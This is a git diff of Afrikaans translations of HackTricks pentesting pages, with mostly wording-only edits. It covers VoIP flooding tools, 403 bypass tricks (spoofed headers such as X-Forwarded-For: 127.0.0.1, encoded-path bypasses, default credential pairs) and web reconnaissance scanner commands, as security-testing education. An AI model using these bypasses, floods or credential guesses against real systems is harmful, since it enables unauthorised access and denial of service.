* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
|
||||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
|
||||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP pakkette. Dit is nodig om die RTP poorte wat gebruik word te ken (sniff eers).
|
||||||
* [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen.
|
* [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen.
|
||||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensmiddel. Kan ook gebruik word om SIP-aanvalle uit te voer.
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse leërskêr. Kan ook gebruik word om SIP aanvalle uit te voer.
|
||||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||||
|
|
||||||
### OS Kw vulnerabilities
|
### OS Kw vulnerabilities
|
||||||
|
@ -647,9 +647,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kw vulnerabilities met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kw vulnerabilities met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -657,7 +657,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -10,32 +10,32 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## HTTP Werkwoorde/Metodes Fuzzing
|
## HTTP Verbs/Methods Fuzzing
|
||||||
|
|
||||||
Probeer om **verskillende werkwoorde** te gebruik om die lêer te bekom: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
Probeer om **verskillende werkwoorde** te gebruik om die lêer te bekom: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||||
|
|
||||||
* Kyk na die responskoppe, miskien kan sommige inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
|
* Kyk na die antwoordkoppe, miskien kan sommige inligting gegee word. Byvoorbeeld, 'n **200 antwoord** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
|
||||||
* Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die werkwoord te oorskryf.
|
* Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die werkwoord te oorskryf.
|
||||||
* Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenproxies bygevoeg is** sien wat nuttig kan wees.
|
* Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die antwoord ook die **koppe wat deur tussenproxies bygevoeg is** sien wat nuttig kan wees.
|
||||||
|
|
||||||
## HTTP Koppe Fuzzing
|
## HTTP Headers Fuzzing
|
||||||
|
|
||||||
* **Verander Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
* **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||||
* Probeer om [**ander User Agents te gebruik**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) om toegang tot die hulpbron te verkry.
|
* Probeer om [**ander User Agents te gebruik**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) om toegang tot die hulpbron te verkry.
|
||||||
* **Fuzz HTTP Koppe**: Probeer om HTTP Proxy **Koppe**, HTTP Verifikasie Basies en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
* **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Headers**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
||||||
|
|
||||||
* `X-Originating-IP: 127.0.0.1`
|
* `X-Originating-IP: 127.0.0.1`
|
||||||
* `X-Forwarded-For: 127.0.0.1`
|
* `X-Forwarded-For: 127.0.0.1`
|
||||||
|
@ -55,8 +55,8 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi
|
||||||
|
|
||||||
* `X-Original-URL: /admin/console`
|
* `X-Original-URL: /admin/console`
|
||||||
* `X-Rewrite-URL: /admin/console`
|
* `X-Rewrite-URL: /admin/console`
|
||||||
* As die bladsy **agter 'n proxy is**, miskien is dit die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
|
* As die bladsy **agter 'n proxy is**, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **of** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
|
||||||
* Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons.
|
* Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende antwoorde.
|
||||||
* **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
|
* **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
|
||||||
* **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
|
* **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi
|
||||||
As _/pad_ geblokkeer is:
|
As _/pad_ geblokkeer is:
|
||||||
|
|
||||||
* Probeer om _**/**_**%2e/pad \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/pad (dubbele URL-kodering)
|
* Probeer om _**/**_**%2e/pad \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/pad (dubbele URL-kodering)
|
||||||
* Probeer **Unicode omseiling**: _/**%ef%bc%8f**pad_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//pad_ wees en miskien het jy reeds die _/pad_ naamkontrole omseil
|
* Probeer **Unicode omseiling**: _/**%ef%bc%8f**pad_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer gekodeer word, sal dit _//pad_ wees en miskien het jy reeds die _/pad_ naamkontrole omseil
|
||||||
* **Ander pad omseilings**:
|
* **Ander pad omseilings**:
|
||||||
* site.com/secret –> HTTP 403 Verbode
|
* site.com/secret –> HTTP 403 Verbode
|
||||||
* site.com/SECRET –> HTTP 200 OK
|
* site.com/SECRET –> HTTP 200 OK
|
||||||
|
@ -96,25 +96,25 @@ As _/pad_ geblokkeer is:
|
||||||
* Verander **param waarde**: Van **`id=123` --> `id=124`**
|
* Verander **param waarde**: Van **`id=123` --> `id=124`**
|
||||||
* Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
* Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||||
* Verwyder die parameters
|
* Verwyder die parameters
|
||||||
* Herordeneer parameters
|
* Herorganiseer parameters
|
||||||
* Gebruik spesiale karakters.
|
* Gebruik spesiale karakters.
|
||||||
* Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
|
* Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
|
||||||
|
|
||||||
## **Protokol weergawe**
|
## **Protokol weergawe**
|
||||||
|
|
||||||
As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2.0 ondersteun**.
|
As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of selfs toets of dit **2.0 ondersteun**.
|
||||||
|
|
||||||
## **Ander Omseilings**
|
## **Ander Omseilings**
|
||||||
|
|
||||||
* Kry die **IP** of **CNAME** van die domein en probeer **dit direk kontak**.
|
* Kry die **IP** of **CNAME** van die domein en probeer **dit direk kontak**.
|
||||||
* Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou met Facebook gewerk](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
* Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou met Facebook gewerk](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||||
* **Verander die protokol**: van http na https, of van https na http
|
* **Verander die protokol**: van http na https, of van https na http
|
||||||
* Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik was**.
|
* Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
|
||||||
|
|
||||||
## **Brute Force**
|
## **Brute Force**
|
||||||
|
|
||||||
* **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
|
* **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging se naam?
|
||||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM verifikasie.
|
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM auth.
|
||||||
|
|
||||||
{% code title="Algemene krediete" %}
|
{% code title="Algemene krediete" %}
|
||||||
```
|
```
|
||||||
|
@ -134,13 +134,13 @@ guest guest
|
||||||
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||||||
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||||||
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||||||
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
* [Burp Uitbreiding - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||||
* [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster)
|
* [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||||
* [GeenMeerVerbode](https://github.com/akinerk/NoMoreForbidden)
|
* [GeenMeerVerbode](https://github.com/akinerk/NoMoreForbidden)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -154,8 +154,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -53,12 +53,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||||
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
||||||
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
||||||
* [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (indien HTTPS).
|
* [ ] Begin met die **begin kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
||||||
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
||||||
* [ ] _Let daarop dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit gespider moet word._
|
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
|
||||||
* [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
|
* [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force op soek na nuwe **lêers** en **gidses**.
|
||||||
* [ ] _Let daarop dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
|
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._
|
||||||
* [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
|
* [ ] **Backups nagaan**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
|
||||||
* [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
|
* [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
|
||||||
* [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
* [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||||
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
@ -67,15 +67,15 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
|
|
||||||
### Identifiseer
|
### Identifiseer
|
||||||
|
|
||||||
Kyk of daar **bekende kwesbaarhede** is vir die bediener **weergawe** wat loop.\
|
Kyk of daar **bekende kwesbaarhede** vir die bediener **weergawe** wat loop, is.\
|
||||||
Die **HTTP koppe en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
Die **HTTP koptekste en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word, te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||||
```bash
|
```bash
|
||||||
whatweb -a 1 <URL> #Stealthy
|
whatweb -a 1 <URL> #Stealthy
|
||||||
whatweb -a 3 <URL> #Aggresive
|
whatweb -a 3 <URL> #Aggresive
|
||||||
webtech -u <URL>
|
webtech -u <URL>
|
||||||
webanalyze -host https://google.com -crawl 2
|
webanalyze -host https://google.com -crawl 2
|
||||||
```
|
```
|
||||||
Search **for** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-methodologies-and-resources/search-exploits.md)
|
Search **vir** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||||
|
|
||||||
### **Kontroleer of enige WAF**
|
### **Kontroleer of enige WAF**
|
||||||
|
|
||||||
|
@ -126,7 +126,7 @@ As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is**
|
||||||
|
|
||||||
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om **jou eie 'n White box toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om **jou eie 'n White box toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
||||||
|
|
||||||
* Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergaweninligting toeganklik** via die web?
|
* Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergawes inligting toeganklik** via die web?
|
||||||
* Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
* Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
||||||
* Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
* Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
||||||
* Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
* Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
||||||
|
@ -139,7 +139,7 @@ As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om
|
||||||
|
|
||||||
### Outomatiese skandeerders
|
### Outomatiese skandeerders
|
||||||
|
|
||||||
#### Algemene doeleindes outomatiese skandeerders
|
#### Algemene doel outomatiese skandeerders
|
||||||
```bash
|
```bash
|
||||||
nikto -h <URL>
|
nikto -h <URL>
|
||||||
whatweb -a 4 <URL>
|
whatweb -a 4 <URL>
|
||||||
|
@ -156,7 +156,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||||
As 'n CMS gebruik word, moenie vergeet om 'n **scanner** te **loop** nie, dalk word iets sappigs gevind:
|
As 'n CMS gebruik word, moenie vergeet om 'n **scanner** te **loop** nie, dalk word iets sappigs gevind:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir sekuriteitskwessies. (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||||
